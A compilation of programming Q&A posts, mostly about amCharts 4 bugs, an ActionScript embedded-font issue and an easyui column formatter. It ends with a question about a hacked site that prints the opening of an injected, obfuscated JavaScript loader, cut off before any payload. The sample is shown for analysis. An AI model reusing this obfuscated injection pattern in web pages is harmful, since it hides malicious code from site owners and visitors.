Amcharts 4: Ghost bullets/ duplicate bullets on chart reload - javascript

Bug description
Hello.
I just got this error where duplicate/ ghost bullets are created every time my chart reloads when there's is new data. I tried everything I could by doing a deep dive into the documentation but I couldn't get rid of these ghost bullets. I'm not sure if there's any bug in the system or if I’m doing something wrong. Any help would be highly appreciated.
Thank you,
Here's the code I'm using to develop the chart:
import React, { Component } from "react";
import { isEqual } from "lodash";
import * as am4core from "#amcharts/amcharts4/core";
import * as am4charts from "#amcharts/amcharts4/charts";
import am4themes_animated from "#amcharts/amcharts4/themes/animated";
import "./index.scss";
am4core.useTheme(am4themes_animated);
am4core.options.onlyShowOnViewport = true;
am4core.options.queue = true;
export default class index extends Component {
componentDidMount() {
let chart = am4core.create(this.props.name, am4charts.XYChart);
chart.colors.list = [
am4core.color("#FFFDAD"),
am4core.color("##F4A460"),
am4core.color("#75B9FF"),
am4core.color("#FF94BA"),
];
chart.dateFormatter.dateFormat = "yyyy-MM-dd";
chart.dateFormatter.utc = false;
chart.paddingRight = 20;
let chartEvents = this.props.chartEvents || [];
chart.data = chartEvents;
chart.legend = new am4charts.Legend();
chart.legend.labels.template.fill = am4core.color("#FFFFFF");
chart.legend.labels.template.propertyFields.fill = "stroke";
chart.legend.position = "top";
chart.legend.itemContainers.template.paddingTop = 5;
chart.legend.itemContainers.template.paddingBottom = 5;
chart.legend.fontSize = 15;
chart.legend.marginBottom = 25;
let marker = chart.legend.markers.template.children.getIndex(0);
marker.cornerRadius(12, 12, 12, 12);
marker.strokeWidth = 5;
let markerTemplate = chart.legend.markers.template;
markerTemplate.width = 10;
markerTemplate.height = 10;
let dateAxis = chart.xAxes.push(new am4charts.DateAxis());
dateAxis.renderer.labels.template.fill = am4core.color("#FFFFFF");
dateAxis.title.text = "Time";
dateAxis.title.fill = am4core.color("#FFFFFF");
dateAxis.renderer.grid.template.location = 0;
dateAxis.fontSize = 15;
dateAxis.skipEmptyPeriods = true;
dateAxis.renderer.grid.template.disabled = true;
dateAxis.keepSelection = true;
dateAxis.groupData = true;
dateAxis.dateFormats.setKey("day", "yyyy-MM-dd");
dateAxis.periodChangeDateFormats.setKey("day", "yyyy-MM-dd");
dateAxis.groupIntervals.setAll([{ timeUnit: "minute", count: 15 }]);
dateAxis.minZoomCount = 5;
dateAxis.showOnInit = false;
let valueAxis = chart.yAxes.push(new am4charts.ValueAxis());
valueAxis.renderer.labels.template.fill = am4core.color("#FFFFFF");
valueAxis.tooltip.disabled = true;
valueAxis.renderer.minWidth = 35;
valueAxis.title.text = "Units";
valueAxis.fontSize = 15;
valueAxis.title.fill = am4core.color("#FFFFFF");
valueAxis.min = 0;
valueAxis.renderer.grid.template.disabled = false;
let series1 = chart.series.push(new am4charts.LineSeries());
series1.name = "Series1";
series1.tooltipText = this.renderTooltip("series1");
series1.dataFields.dateX = "timestamp";
series1.dataFields.valueY = "series1";
series1.tooltip.getFillFromObject = false;
series1.tooltip.background.fill = am4core.color("#FFFDAD");
series1.tooltip.label.fill = am4core.color("#000");
series1.stroke = am4core.color("#FFFDAD");
series1.strokeWidth = 2;
series1.connect = false;
series1.showOnInit = false;
let series2 = chart.series.push(new am4charts.LineSeries());
series2.name = "Series2";
series2.tooltipText = this.renderTooltip("series2");
series2.dataFields.dateX = "timestamp";
series2.dataFields.valueY = "series2";
series2.tooltip.getFillFromObject = false;
series2.tooltip.background.fill = am4core.color("#F4A460");
series2.tooltip.label.fill = am4core.color("#000");
series2.stroke = am4core.color("#F4A460");
series2.strokeWidth = 2;
series2.connect = false;
series2.showOnInit = false;
let series3 = chart.series.push(new am4charts.LineSeries());
series3.name = "series3";
series3.tooltipText = `Name: [bold]Series3[/]
Time : {timestamp.formatDate('yyyy-MM-dd HH:mm:ss')} `;
series3.dataFields.dateX = "timestamp";
series3.dataFields.valueY = "series3";
series3.strokeOpacity = 0;
series3.sequencedInterpolation = true;
series3.tooltip.background.fill = am4core.color("#75B9FF");
series3.minBulletDistance = 15;
series3.showOnInit = false;
series3.autoDispose = true;
let bullet = series3.bullets.push(new am4charts.Bullet());
bullet.isDynamic = true;
let triangle = bullet.createChild(am4core.Triangle);
triangle.width = 11;
triangle.height = 11;
triangle.dy = 5;
triangle.direction = "bottom";
triangle.propertyFields.fill = am4core.color("#75B9FF");
triangle.propertyFields.fillOpacity = 1;
triangle.fillOpacity = 1;
triangle.strokeWidth = 1;
triangle.horizontalCenter = "middle";
triangle.verticalCenter = "bottom";
let hoverState = bullet.states.create("hover");
hoverState.properties.scale = 1.7;
let series4 = chart.series.push(new am4charts.LineSeries());
series4.name = "series4";
series4.tooltipText = `Name: [bold]series4[/]
Time : {timestamp.formatDate('yyyy-MM-dd HH:mm:ss')}`;
series4.dataFields.dateX = "timestamp";
series4.dataFields.valueY = "series4";
series4.strokeOpacity = 0;
series4.sequencedInterpolation = true;
series4.tooltip.background.fill = am4core.color("#FF94BA");
series4.minBulletDistance = 15;
series4.showOnInit = false;
series4.autoDispose = true;
let bullet01 = series4.bullets.push(new am4core.Circle());
bullet01.radius = 5;
bullet01.propertyFields.fill = am4core.color("#FF94BA");
bullet01.fillOpacity = 1;
bullet01.isDynamic = true;
let hoverState1 = bullet01.states.create("hover");
hoverState1.properties.scale = 1.7;
let range = dateAxis.axisRanges.create();
range.date = new Date();
range.grid.stroke = am4core.color("red");
range.grid.strokeWidth = 1;
range.grid.strokeOpacity = 0.5;
chart.cursor = new am4charts.XYCursor();
chart.showOnInit = true;
chart.zoomOutButton.dom.addEventListener("click", this.resetDateSelector);
chart.maskBullets = true;
chart.events.on("shown", () => {
dateAxis.zoomToDates(this.setStartTime(7), this.setEndTime(2), false);
});
this.chart = chart;
this.dateAxis = dateAxis;
}
componentDidUpdate(oldProps) {
if (
!isEqual(
oldProps.chartEvents,
this.props.chartEvents
) &&
typeof this.props.chartEvents === "object" &&
this.props.chartEvents.length !== 0
) {
this.chart.data = this.props.chartEvents;
this.chart.reinit();
}
}
componentWillUnmount() {
if (this.chart) {
this.chart.dispose();
}
}
renderTooltip = (name) => {
return `{name}: [bold]{${name}}[/]
Time: {timestamp.formatDate('yyyy-MM-dd HH:mm:ss')}[/]`;
};
setStartTime = (days) => {
let currentDate = new Date();
let pastTime = currentDate.setDate(currentDate.getDate() - days);
return pastTime;
};
setEndTime = (days) => {
let currentDate = new Date();
let futureTime = currentDate.setDate(currentDate.getDate() + days);
return futureTime;
};
resetDateSelector = () => {
this.dateAxis.zoomToDates(this.setStartTime(7), this.setEndTime(2));
};
render() {
return (
<div
id={this.props.name}
style={{ width: "100%", minHeight: "550px" }}
></div>
);
}
}
Environment
Amcharts version: 4.9.23
React version: 16.12.0
Chrome browser version: 83.0.4103.61

I was able to fix this issue by using the following code:
for (const series of chart.series) { series.bulletsContainer.disposeChildren() }
before setting
chart.data = data;
I was able to get this solution from the following Amcharts4 bug issue #1908 thread:
https://github.com/amcharts/amcharts4/issues/1908

Related

Embedded Font Not Displaying On Other Devices (AS3, Javascript)

So I've written a bit of code in Actionscript 3.0 that displays a string when you hover over a word on screen. The issue with this however is that when displayed on other devices such as a Windows desktop, the font reverts back to default. I've checked Adobe Animate and my fonts are all embedded correctly in the preferences so I'm assuming something is missing in my code which I've listed here:
import flash.events.MouseEvent;
import flash.text.TextField;
import flash.text.Font
import com.adobe.tvsdk.mediacore.TextFormat;
stop();
Previous3.addEventListener(MouseEvent.CLICK, Frame4_prev);
function Frame4_prev(event:MouseEvent):void
{
gotoAndStop(3);
}
Next3.addEventListener(MouseEvent.CLICK, Frame4_next);
function Frame4_next(event:MouseEvent):void
{
gotoAndStop(5);
}
/* ---------- HOVER CHART WITH INFO ---------- */
/* MUCH_info (1) */
MUCH_info.addEventListener(MouseEvent.MOUSE_OVER, over1);
MUCH_info.addEventListener(MouseEvent.MOUSE_OUT, out1);
var fl_TF1:TextField;
var textformat1:TextFormat = new TextFormat;
var i1:int = 20;
var fl_TextToDisplay1:String =
"My Utility Cabinet Holdings, LLC";
function over1(event:MouseEvent):void
{
MUCH_info.visible = true;
fl_TF1 = new TextField();
fl_TF1.autoSize = TextFieldAutoSize.LEFT;
fl_TF1.background = false;
fl_TF1.border = false;
fl_TF1.x = 125;
fl_TF1.y = 643;
fl_TF1.text = fl_TextToDisplay1;
addChild(fl_TF1);
textformat1.size = i1;
textformat1.font = "Europa-Regular";
fl_TF1.setTextFormat(textformat1);
}
function out1(event:MouseEvent):void
{
fl_TF1.visible = false;
}
/* RealMTRX_info (2) */
RealMTRX_info.addEventListener(MouseEvent.MOUSE_OVER, over2);
RealMTRX_info.addEventListener(MouseEvent.MOUSE_OUT, out2);
var fl_TF2:TextField;
var textformat2:TextFormat = new TextFormat;
var i2:int = 21;
var fl_TextToDisplay2:String =
"Specializes in tenant billing, sub-metering, and green initiatives";
function over2(event:MouseEvent):void
{
RealMTRX_info.visible = true;
fl_TF2 = new TextField();
fl_TF2.autoSize = TextFieldAutoSize.LEFT;
fl_TF2.background = false;
fl_TF2.border = false;
fl_TF2.x = 125;
fl_TF2.y = 643;
fl_TF2.text = fl_TextToDisplay2;
addChild(fl_TF2);
textformat2.size = i2;
textformat2.font = "Europa-Regular";
fl_TF2.setTextFormat(textformat2);
}
function out2(event:MouseEvent):void
{
fl_TF2.visible = false;
}
/* MUCSaaS_info (3) */
MUCSaaS_info.addEventListener(MouseEvent.MOUSE_OVER, over3);
MUCSaaS_info.addEventListener(MouseEvent.MOUSE_OUT, out3);
var fl_TF3:TextField;
var textformat3:TextFormat = new TextFormat;
var i3:int = 18;
var fl_TextToDisplay3:String =
"An invoice management system able to track, centralize, and analyze billing data";
function over3(event:MouseEvent):void
{
MUCSaaS_info.visible = true;
fl_TF3 = new TextField();
fl_TF3.autoSize = TextFieldAutoSize.LEFT;
fl_TF3.background = false;
fl_TF3.border = false;
fl_TF3.x = 90;
fl_TF3.y = 643;
fl_TF3.text = fl_TextToDisplay3;
addChild(fl_TF3);
textformat3.size = i3;
textformat3.font = "Europa-Regular";
fl_TF3.setTextFormat(textformat3);
}
function out3(event:MouseEvent):void
{
fl_TF3.visible = false;
}
/* MagnaData_info (4) */
MagnaData_info.addEventListener(MouseEvent.MOUSE_OVER, over4);
MagnaData_info.addEventListener(MouseEvent.MOUSE_OUT, out4);
var fl_TF4:TextField;
var textformat4:TextFormat = new TextFormat;
var i4:int = 20;
var fl_TextToDisplay4:String =
"Develops internal system design and updates, robotics, and data mining";
function over4(event:MouseEvent):void
{
MagnaData_info.visible = true;
fl_TF4 = new TextField();
fl_TF4.autoSize = TextFieldAutoSize.LEFT;
fl_TF4.background = false;
fl_TF4.border = false;
fl_TF4.x = 90;
fl_TF4.y = 643;
fl_TF4.text = fl_TextToDisplay4;
addChild(fl_TF4);
textformat4.size = i4;
textformat4.font = "EuropaRegular";
fl_TF4.setTextFormat(textformat4);
}
function out4(event:MouseEvent):void
{
fl_TF4.visible = false;
}
/* GeoMAH_info (5) */
GeoMAH_info.addEventListener(MouseEvent.MOUSE_OVER, over5);
GeoMAH_info.addEventListener(MouseEvent.MOUSE_OUT, out5);
var fl_TF5:TextField;
var textformat5:TextFormat = new TextFormat;
var i5:int = 18;
var fl_TextToDisplay5:String =
"Specializes in data trends and anomalies, cost efficiency, and client consultation";
function over5(event:MouseEvent):void
{
GeoMAH_info.visible = true;
fl_TF5 = new TextField();
fl_TF5.autoSize = TextFieldAutoSize.LEFT;
fl_TF5.background = false;
fl_TF5.border = false;
fl_TF5.x = 90;
fl_TF5.y = 643;
fl_TF5.text = fl_TextToDisplay5;
addChild(fl_TF5);
textformat5.size = i5;
textformat5.font = "EuropaRegular";
fl_TF5.setTextFormat(textformat5);
}
function out5(event:MouseEvent):void
{
fl_TF5.visible = false;
}
/* SST_info (6) */
SST_info.addEventListener(MouseEvent.MOUSE_OVER, over6);
SST_info.addEventListener(MouseEvent.MOUSE_OUT, out6);
var fl_TF6:TextField;
var textformat6:TextFormat = new TextFormat;
var i6:int = 20;
var fl_TextToDisplay6:String =
"Outside services that help maintain the MUC website";
function over6(event:MouseEvent):void
{
SST_info.visible = true;
fl_TF6 = new TextField();
fl_TF6.autoSize = TextFieldAutoSize.LEFT;
fl_TF6.background = false;
fl_TF6.border = false;
fl_TF6.x = 100;
fl_TF6.y = 643;
fl_TF6.text = fl_TextToDisplay6;
addChild(fl_TF6);
textformat6.size = i6;
textformat6.font = "Europa-Regular";
fl_TF6.setTextFormat(textformat6);
}
function out6(event:MouseEvent):void
{
fl_TF6.visible = false;
}
/* Tamara_info (7) */
Tamara_info.addEventListener(MouseEvent.MOUSE_OVER, over7);
Tamara_info.addEventListener(MouseEvent.MOUSE_OUT, out7);
var fl_TF7:TextField;
var textformat7:TextFormat = new TextFormat;
var i7:int = 20;
var fl_TextToDisplay7:String =
"Tamara Naser, President";
function over7(event:MouseEvent):void
{
Tamara_info.visible = true;
fl_TF7 = new TextField();
fl_TF7.autoSize = TextFieldAutoSize.LEFT;
fl_TF7.background = false;
fl_TF7.border = false;
fl_TF7.x = 125;
fl_TF7.y = 643;
fl_TF7.text = fl_TextToDisplay7;
addChild(fl_TF7);
textformat7.size = i7;
textformat7.font = "Europa-Regular";
fl_TF7.setTextFormat(textformat7);
}
function out7(event:MouseEvent):void
{
fl_TF7.visible = false;
}
/* DataEntry_info (8) */
DataEntry_info.addEventListener(MouseEvent.MOUSE_OVER, over8);
DataEntry_info.addEventListener(MouseEvent.MOUSE_OUT, out8);
var fl_TF8:TextField;
var textformat8:TextFormat = new TextFormat ();
var i8:int = 20;
var fl_TextToDisplay8:String =
"Acquires, manages, and enters client invoice data";
function over8(event:MouseEvent):void
{
DataEntry_info.visible = true;
fl_TF8 = new TextField();
fl_TF8.autoSize = TextFieldAutoSize.LEFT;
fl_TF8.background = false;
fl_TF8.border = false;
fl_TF8.x = 100;
fl_TF8.y = 643;
fl_TF8.text = fl_TextToDisplay8;
addChild(fl_TF8);
textformat8.size = i8;
textformat8.font = "Europa-Regular";
fl_TF8.setTextFormat(textformat8);
}
function out8(event:MouseEvent):void
{
fl_TF8.visible = false;
}
/* Control_info (9) */
Control_info.addEventListener(MouseEvent.MOUSE_OVER, over9);
Control_info.addEventListener(MouseEvent.MOUSE_OUT, out9);
var fl_TF9:TextField;
var textformat9:TextFormat = new TextFormat;
var i9:int = 20;
var fl_TextToDisplay9:String =
"Ensures the integrity and quality of data";
function over9(event:MouseEvent):void
{
Control_info.visible = true;
fl_TF9 = new TextField();
fl_TF9.autoSize = TextFieldAutoSize.LEFT;
fl_TF9.background = false;
fl_TF9.border = false;
fl_TF9.x = 100;
fl_TF9.y = 643;
fl_TF9.text = fl_TextToDisplay9;
addChild(fl_TF9);
textformat9.size = i9;
textformat9.font = "Europa-Regular";
fl_TF9.setTextFormat(textformat9);
}
function out9(event:MouseEvent):void
{
fl_TF9.visible = false;
}
/* Finance_info (10) */
Finance_info.addEventListener(MouseEvent.MOUSE_OVER, over10);
Finance_info.addEventListener(MouseEvent.MOUSE_OUT, out10);
var fl_TF10:TextField;
var textformat10:TextFormat = new TextFormat;
var i10:int = 19;
var fl_TextToDisplay10:String =
"Assesses, monitors, and plans the utilization of cash and financial services";
function over10(event:MouseEvent):void
{
Finance_info.visible = true;
fl_TF10 = new TextField();
fl_TF10.autoSize = TextFieldAutoSize.LEFT;
fl_TF10.background = false;
fl_TF10.border = false;
fl_TF10.x = 90;
fl_TF10.y = 643;
fl_TF10.text = fl_TextToDisplay10;
addChild(fl_TF10);
textformat10.size = i10;
textformat10.font = "Europa-Regular";
fl_TF10.setTextFormat(textformat10);
}
function out10(event:MouseEvent):void
{
fl_TF10.visible = false;
}
/* Admin_info (11) */
Admin_info.addEventListener(MouseEvent.MOUSE_OVER, over11);
Admin_info.addEventListener(MouseEvent.MOUSE_OUT, out11);
var fl_TF11:TextField;
var textformat11:TextFormat = new TextFormat;
var i11:int = 20;
var fl_TextToDisplay11:String =
"Acquires and manages physical invoices and handles other projects";
function over11(event:MouseEvent):void
{
HR_info.visible = true;
fl_TF11 = new TextField();
fl_TF11.autoSize = TextFieldAutoSize.LEFT;
fl_TF11.background = false;
fl_TF11.border = false;
fl_TF11.x = 100;
fl_TF11.y = 643;
fl_TF11.text = fl_TextToDisplay11;
addChild(fl_TF11);
textformat11.size = i11;
textformat11.font = "Europa-Regular";
fl_TF11.setTextFormat(textformat11);
}
function out11(event:MouseEvent):void
{
fl_TF11.visible = false;
}
/* HR_info (12) */
HR_info.addEventListener(MouseEvent.MOUSE_OVER, over12);
HR_info.addEventListener(MouseEvent.MOUSE_OUT, out12);
var fl_TF12:TextField;
var textformat12:TextFormat = new TextFormat;
var i12:int = 20;
var fl_TextToDisplay12:String =
"Manages hiring and onboarding of employees and employee relations";
function over12(event:MouseEvent):void
{
HR_info.visible = true;
fl_TF12 = new TextField();
fl_TF12.autoSize = TextFieldAutoSize.LEFT;
fl_TF12.background = false;
fl_TF12.border = false;
fl_TF12.x = 100;
fl_TF12.y = 643;
fl_TF12.text = fl_TextToDisplay12;
addChild(fl_TF12);
textformat12.size = i12;
textformat12.font = "Europa-Regular";
fl_TF12.setTextFormat(textformat12);
}
function out12(event:MouseEvent):void
{
fl_TF12.visible = false;
}
My end goal is to have the string that is displayed on the hover to display with the font Europa Regular. Is this because the string isn't targeted? Any help is greatly appreciated!
if you embedded correctly in the preferences, you should set embedFonts properties true
fl_TF12.embedFonts = true
also you can change your embedded font with this script
fl_TF12.font = Font.enumerateFonts()[0].fontName;

AmCharts 4 Breaking when a series has no value

I have a graph with two "series", only when one has value and the other does not, it breaks and has no background. How to fix it? I've tried several posts from various sites, videos and also read the documentation a lot. No example seems to work, so I don't know exactly what to do. If it has value it looks like it looks normal.
Javascript
function initChartVendas() {
am4core.useTheme(am4themes_animated);
let chart = am4core.create(this.chartElement.nativeElement, am4charts.XYChart);
chart.data = this.generatechartData();
chart.numberFormatter.numberFormat = "'R$ ' #,###.##";
// Create axes
let dateAxis = chart.xAxes.push(new am4charts.DateAxis());
dateAxis.startLocation = 0.5;
dateAxis.endLocation = 0.5;
dateAxis.extraMax = null;
dateAxis.extraMin = null;
dateAxis.dateFormats.setKey('day', 'dd');
// Create value axis
let valueAxis = chart.yAxes.push(new am4charts.ValueAxis());
valueAxis.baseValue = 900;
// Create series
let series = chart.series.push(new am4charts.LineSeries());
series.name = 'Pagos ';
series.dataFields.valueY = 'valor';
series.dataFields.dateX = 'dia';
series.strokeWidth = 3;
series.tooltipText = '{valueY.value}';
series.fillOpacity = 0.1;
series.tensionX = 0.8;
series.tensionY = 1;
series.fill = am4core.color('#5770ef');
series.stroke = am4core.color('#5867dd');
// Create series 2
if (this.dataCancelados) {
let seriesCancelados = chart.series.push(new am4charts.LineSeries());
seriesCancelados.name = 'Cancelados ';
seriesCancelados.dataFields.valueY = 'cancelado';
seriesCancelados.dataFields.dateX = 'dia';
seriesCancelados.strokeWidth = 3;
seriesCancelados.tooltipText = '{valueY.value}';
seriesCancelados.fillOpacity = 0.1;
seriesCancelados.tensionX = 0.8;
seriesCancelados.tensionY = 1;
seriesCancelados.fill = am4core.color('#f96191');
seriesCancelados.stroke = am4core.color('#fd397a');
}
// Add cursor
chart.cursor = new am4charts.XYCursor();
chart.cursor.behavior = 'none';
series.tooltip.getFillFromObject = false;
series.tooltip.adapter.add('x', (x, target) => {
// #ts-ignore
const valueY = series.tooltip.tooltipDataItem.valueY;
if (valueY < 0) {
series.tooltip.background.fill = chart.colors.getIndex(4);
} else {
series.tooltip.background.fill = am4core.color('#5770ef');
}
return x;
});
if (this.dataCancelados) {
chart.legend = new am4charts.Legend();
}
}
Image 1
Image 2
I found the solution the dates should be ordered. Before they were not, for example, the 20th came before the 16th. That's why the problem. My ordering solution is this (it only matters the day)
chartData.sort((v1, v2) => (v1.dia.getDate() > v2.dia.getDate() ? 1 : -1));

Dynamically changing legend AmCharts4

The columns that have (maximum Additional Hedging) are sometimes on the chart and sometimes not this is determined on the dynamic data that can be changed constantly via a draggable bar above the chart.
I want to be able have the legend of the chart to remove these items when they aren't on the and bring them back when they are on the chart.
This is currently working on the AmCharts3 version of the chart but I am upgrading them.
var chart = am4core.create("fxExposureHedgingChart", am4charts.XYChart);
let title = chart.titles.create();
title.text = this.props.title;
title.fontSize = 25;
title.marginBottom = 30;
chart.data = this.props.dataProvider;
chart.dateFormatter.inputDateFormat = "yyyy-MM-dd";
chart.orderByField = "name"
var categoryAxis = chart.xAxes.push(new am4charts.CategoryAxis());
categoryAxis.dataFields.category = "category";
categoryAxis.title.text = "Time";
categoryAxis.renderer.startLocation = 0;
categoryAxis.renderer.cellStartLocation = 0.10;
categoryAxis.renderer.cellEndLocation = 0.90;
categoryAxis.renderer.labels.template.location = 0.5 ;
categoryAxis.renderer.labels.template.wrap = false;
categoryAxis.renderer.labels.template.truncate = false;
categoryAxis.renderer.minGridDistance = 30;
categoryAxis.layout = "horizontal";
// Create value axis
var valueAxis = chart.yAxes.push(new am4charts.ValueAxis());
valueAxis.title.text = "Amount " + this.state.displayCurrency;
valueAxis.max = 140000;
valueAxis.min = 0;
let valueAxis2 = chart.yAxes.push(new am4charts.ValueAxis());
valueAxis2.title.text = "Rate";
valueAxis2.renderer.opposite = true;
valueAxis2.min = 1.1000;
valueAxis2.max = 1.4500;
let createColumnSeries = () => {
var series = chart.series.push(new am4charts.ColumnSeries());
series.dataFields.valueY = "exposure";
series.dataFields.categoryX = "category";
series.name = "Forecasted Cashflows";
series.yAxis = valueAxis;
series.columns.template.width = am4core.percent(85);
series.stacked = false;
series.tooltip.dy = -8;
series.tooltip.pointerOrientation = "vertical";
var columnTemplate = series.columns.template;
columnTemplate.column.fillOpacity = 0.8;
columnTemplate.tooltipText = "{name} ({category}): {valueY}";
columnTemplate.tooltipY = 0;
var columnHoverState = columnTemplate.column.states.create("hover");
columnHoverState.properties.fillOpacity = 1;
columnHoverState.properties.cornerRadiusTopLeft = 35;
columnHoverState.properties.cornerRadiusTopRight = 35;
return series;
}
let createLineSeries1 = () => {
var series = chart.series.push(new am4charts.LineSeries());
series.dataFields.valueY = "achieveableRate";
series.dataFields.categoryX = "category";
series.name = "Achieveable Rate";
series.tooltipText = "{valueY.value}";
series.strokeWidth = 2;
series.yAxis = valueAxis2;
let bullet = series.bullets.push(new am4charts.Bullet());
let square = bullet.createChild(am4core.Rectangle);
square.width = 5;
square.height = 5;
square.horizontalCenter = "middle";
square.verticalCenter = "middle";
series.bullets.getIndex(0).tooltipText = "{name}: {valueY}";
return series;
}
let getDealGraphInfo = (classIds,data) =>{
let maxHedgingClassIDs = classIds.map( id => (data.reduce((accum, row) => accum+ (row["maxAmount_"+id]),0)) > 0 ? id: null);
let maxAmounts = maxHedgingClassIDs.map((id, index) => {
if(id === null){} else {
let HedgingSeries = chart.series.push(new am4charts.ColumnSeries());
HedgingSeries.dataFields.valueY = "maxAmount_" + id;
HedgingSeries.dataFields.categoryX = "category";
HedgingSeries.name = classIDtoDisplayName(id).replace(/FX\s/,"") + " (Maximum Additional Hedging)";
HedgingSeries.tooltip.dy = -8;
HedgingSeries.tooltip.pointerOrientation = "vertical";
HedgingSeries.columns.template.width = am4core.percent(70);
HedgingSeries.id = classIDtoDisplayName(id).replace(/\s/g,"").toLowerCase() + "_maxAmount";
HedgingSeries.stacked = true;
var columnTemplate = HedgingSeries.columns.template;
columnTemplate.column.fillOpacity = 0.8;
columnTemplate.tooltipText = HedgingSeries.name;
columnTemplate.tooltipY = 0;
}}).filter(c => c);
return classIds.map((id, index) => {
let Series = chart.series.push(new am4charts.ColumnSeries());
Series.dataFields.valueY = "amount_" + id;
Series.dataFields.categoryX = "category";
Series.name = classIDtoDisplayName(id).replace(/FX\s/,"");
Series.tooltip.dy = -8;
Series.tooltip.pointerOrientation = "vertical";
Series.columns.template.width = am4core.percent(70);
Series.id = classIDtoDisplayName(id).replace(/\s/g,"").toLowerCase();
Series.strokewidth = 1;
Series.stacked = true;
var columnTemplate = Series.columns.template;
columnTemplate.column.fillOpacity = 0.8;
columnTemplate.tooltipText = Series.name;
columnTemplate.tooltipY = 0;
return Series;
}).concat(maxAmounts).sort((a,b) => (a.name < b.name ? -1:1));
}
let budgetRateName = getBudgetRateName(this.props.budgetRate);
getDealGraphInfo(this.props.dealClassIds,this.state.data).concat(createColumnSeries(),
createLineSeries1(),
createLineSeries2(),
createLineSeries3(),
createLineSeries4(budgetRateName)
).sort((a,b) => (a.name < b.name ? -1:1));
chart.legend = new am4charts.Legend();
chart.legend.itemContainers.template.paddingTop = 5;
chart.legend.itemContainers.template.paddingBottom = 5;
chart.legend.labels.template.wrap = true;
chart.legend.labels.template.maxWidth = 350;
chart.legend.labels.template.truncate = true;
chart.legend.useDefaultMarker = true;
chart.exporting.menu = new am4core.ExportMenu();
var plugin = chart.plugins.push(new am4plugins_annotation.Annotation());
var markerTemplate = chart.legend.markers.template
markerTemplate.width = 10;
markerTemplate.height = 10;
this.setState({chart: chart})
}
componentDidUpdate(oldProps, prevState){
if (oldProps.dataProvider !== this.props.dataProvider){
this.state.chart.data = this.props.dataProvider;
}
}
componentWillUnmount() {
if (this.chart) {
this.chart.dispose();
}
}
getDealGraphInfo are the columns that are being added/removed. Note, the object always has these columns but when they have no value it is set to "null" otherwise it has a value.
When I drag the bar above the chart I am using componentDidUpdate to change the data on the chart. So I believe the solution could have something to do in here.
I have found a temp fix where in componentDidUpdate I dispose the chart and recreate the whole chart when I receive new props. But this is very laggy when using the slider. I would prefer to just have the legend/data in the chart update, than needing to recreate the chart every time.

easyui rowdata how to get value of column by index of the column but not field?

I don't want the '0' when the "指标4名称" is null.
below is my js code:
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
first[12+4*i]['field'] = 'fxzb'+(i+1)+'_mc';
first[12+4*i]['title'] = '指标'+(i+1)+'名称';
first[12+4*i]['align'] = 'center';
first[12+4*i]['width'] = 150;
first[13+4*i] = new Array();
first[13+4*i]['field'] = 'fxzb'+(i+1)+'_ysz';
first[13+4*i]['title'] = '指标'+(i+1)+'运算值';
first[13+4*i]['align'] = 'center';
first[14+4*i] = new Array();
first[14+4*i]['field'] = 'fxzb'+(i+1)+'_df';
first[14+4*i]['title'] = '指标'+(i+1)+'得分';
first[14+4*i]['align'] = 'center';
first[14+4*i]['formatter'] = function(value, rowdata, rowindex){
if(row[12+4*i] == ""||rowdata[12+4*i]==null){
return null;
}else{
return value;
}
};
first[15+4*i] = new Array();
first[15+4*i]['field'] = 'fxzb'+(i+1)+'_ms';
first[15+4*i]['title'] = '指标'+(i+1)+'风险描述';
first[15+4*i]['align'] = 'center';
I just want to know how to get the value of 'fxzb'+(i+1)+'_mc',because I couldn't get it by rowdata.field.
I didn't get the value of 'fxzb'+(i+1)+'_mc',but I figured my questions out.
code as below:
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
var flag;
first[12+4*i]['field'] = 'fxzb'+(i+1)+'_mc';
first[12+4*i]['title'] = '指标'+(i+1)+'名称';
first[12+4*i]['align'] = 'center';
first[12+4*i]['width'] = 150;
first[12+4*i]['formatter'] = function(value,rowdata,rowindex){
if(value=="" || value==null){
flag = true;
}else{
flag = false;
}
retrun value;
}
first[13+4*i] = new Array();
first[13+4*i]['field'] = 'fxzb'+(i+1)+'_ysz';
first[13+4*i]['title'] = '指标'+(i+1)+'运算值';
first[13+4*i]['align'] = 'center';
first[14+4*i] = new Array();
first[14+4*i]['field'] = 'fxzb'+(i+1)+'_df';
first[14+4*i]['title'] = '指标'+(i+1)+'得分';
first[14+4*i]['align'] = 'center';
first[14+4*i]['formatter'] = function(value, rowdata, rowindex){
if(flag){
return null;
}else{
return value;
}
};
first[15+4*i] = new Array();
first[15+4*i]['field'] = 'fxzb'+(i+1)+'_ms';
first[15+4*i]['title'] = '指标'+(i+1)+'风险描述';
first[15+4*i]['align'] = 'center';

what does this script do? - hacked site

I just came accross a site that has been hacked and I'm wondering what this javascript does. so far as I can tell it attempts to redirect the page somewhere but fails. It looks like it made its way into every last file on the server.
<script>
function sF()
{
};
var sMN = new Array();
sF.prototype =
{
b: function ()
{
wL = "wL";
var c = "c";
var wS = new Array();
cY = '';
this.bW = "bW";
this.sR = 35912;
var f = document;
var uH = "uH";
var cJ = 13620;
var n = '';
this.hI = 9833;
this.wX = 45851;
var bI = function ()
{
};
var e = window;
yM = '';
a = "a";
var mV = 57574;
var pD = function ()
{
};
var uQ = "";
var m = this;
this.v = false;
var cB = false;
this.t = 52080;
var qY = false;
this.oV = '';
wG = false;
var nW = function ()
{
};
String.prototype.xAW = function (p, d)
{
var i = this;
return i.replace(p, d)
};
this.xA = '';
var bA = "";
this.oZ = 27110;
var rR = new Array();
var mP = function ()
{
return 'mP'
};
this.aY = 39890;
this.wE = false;
var j = 'sbe)t)T)'.xAW(/[)O4Eb]/g, '') + 'iZm&eZoVu&tV'.xAW(/[V&{:Z]/g, '');
var zR = new Date();
var yV = 30047;
this.wLU = 47818;
var vX = '';
function wD()
{
};
hR = 22291;
var jF = 'eNdNdUsreNtUAUtr'.xAW(/[rpXUN]/g, '') + 'tarNiNs9daf&'.xAW(/[&9aN6]/g, '');
this.iI = false;
this.nK = "nK";
this.sS = '';
this.pL = "pL";
var uP = function ()
{
};
var l = 'w$r$i9t$e|'.xAW(/[|$~(9]/g, '');
var lK = false;
var aU = "aU";
var mB = new Array();
var cS = function ()
{
return 'cS'
};
var nKP = "";
var dH = function ()
{
return 'dH'
};
try
{
tG = "";
var jB = new Date();
hX = '';
var sE = "";
var pE = new Array();
fZ = 41855;
